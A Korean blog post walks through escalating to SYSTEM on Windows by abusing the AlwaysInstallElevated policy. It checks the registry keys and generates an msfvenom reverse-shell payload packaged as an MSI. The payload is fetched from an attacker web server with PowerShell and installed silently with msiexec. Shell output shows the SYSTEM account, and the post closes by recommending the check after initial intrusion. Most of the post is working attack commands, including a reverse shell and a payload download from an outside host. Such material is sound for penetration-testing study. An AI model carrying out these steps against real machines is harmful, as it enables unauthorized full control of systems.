windows 폴리시를 악용한 권한 상승

AlwaysInstallElevated 폴리시를 악용해서 권한 상승하기

By Hong

윈도우의 권한 상승에 대한 포스팅.

여러 방법들 중 windows의 policy를 악용해 권한 상승하는 방법.

이번에 악용할 폴리시는 AlwaysInstallElevated라는 폴리시다.

이 폴리시를 유효화 해두면 msi 파일을 설치할 때 항상 관리자 권한으로 실행한다는 특징이 있다.

AlwaysInstallElevated Policy

디폴트 설정은 무효화 되어 있기 때문에 먼저 유효화로 설정이 되어 있는지 확인해봐야 한다.

아래의 코드처럼 reg query로 HKCU와 HKLM의 레지스트리 키를 확인한다.

C:\Users\kuroda\Desktop>reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1

C:\Users\kuroda\Desktop>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1

0x1이라고 나오면 유효화 되어 있다는 뜻. 즉, 권한 상승에 이용할 수 있다.

리버스쉘을 만든다

이 폴리시는 msi 파일을 설치할 때 작동되기 때문에 msi 파일 형식으로 페이로드를 만들어 줄 필요가 있다.

칼리의 msfvenom을 이용해서 페이로드를 만들어준다.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<로컬IP> LPORT=<포트> -f msi -o shell.msi

shell.msi라는 리버스쉘 페이로드를 만들었다. 타겟 윈도우 시스템에서 실행해야 하기 때문에 윈도우로 파일을 전송한다.

kali에서 웹서버를 세운 후 윈도우에서 powershell로 다운로드했다.

wget http://IP:PORT/shell.msi -outfile C:\Users\kuroda\Desktop\shell.msi

msi 파일 실행

이제 공격 서버에서 포트를 리스닝하고 만들어 둔 msi파일을 실행하면 리버스쉘이 열린다.

다음 명령어로 msi를 실행할 수 있다. 왜인지 powershell에서는 실패해서 cmd로 실행했다.

msiexec /quiet /qn /i shell.msi

그럼 관리자 권한으로 파일이 실행되기 때문에 공격자 서버에 관리자 권한의 쉘이 연결된다.

Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

윈도우 폴리시의 설정 이슈를 악용하여 권한 상승을 해보았다.

간단하게 할 수 있기 때문에 초기침투 후 폴리시를 확인해보면 좋을 것 같다.

Share: X (Twitter) Facebook LinkedIn